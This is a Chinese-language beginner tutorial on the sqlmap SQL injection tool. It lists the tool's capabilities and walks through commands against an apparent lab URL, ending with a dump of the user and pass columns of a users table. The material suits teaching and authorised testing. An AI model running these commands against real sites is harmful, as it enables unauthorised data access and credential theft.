一、sqlmap是什么,具有什么特點?
sqlmap是開源的自動化SQL注入工具,由Python寫成,具有如下特點:
完全支持MySQL、Oracle、PostgreSQL、Microsoft SQLServer、Microsoft Acess、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和informix等多種數據庫管理系統。
完全支持布爾型盲注、時間盲注、基於錯誤信息的注入、聯合查詢注入和堆查詢注入。
在數據庫證書、IP地址、端口和數據庫名等條件允許的情況下支持不通過SQL注入點而直接連接數據庫。
支持枚舉用戶、密碼、哈希、權限、角色、數據庫、數據表和列
支持自動識別密碼哈希格式並通過字典破解密碼哈希
支持完全下載某個數據庫中的某個表,也可以只下載某個表中的某幾列,甚至只下載一列中的部分數據,這完全取決於用戶的選擇。
支持在數據庫管理系統中搜集指定的數據庫名、表名或列名
當數據庫管理系統是MySQL、PostgreSQL或Microsofe SQLServer時支持下載或上傳文件
當數據庫管理系統是MySQL、PostgreSQL或Microsofe SQLServer時執行任意命令並回顯標准輸出
二、簡單了解sql注入
1. SQL注入是什么
通過SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符,最終達到欺騙服務器執行惡意的SQL命令。其主要原因時程序沒有細致地過濾用戶輸入的數據,導致非法數據侵入系統。
2.使用sqlmap進行簡單注入操作
測地址試:http://192.168.1.5/727/index.php?id=1
具體步驟:
查看是否存在sql注入
sqlmap.py -u http://192.168.1.5/727/index.php?id=1
列出當前使用的庫
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 --current-db
現在我們拿到了所使用的庫為jokedb,然后由此拿到庫中的表名
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb --tables
拿到表名后,就可以對他的字段進行測試
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users --columns
最后一步查看表中的數據
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users -C user,pass --dump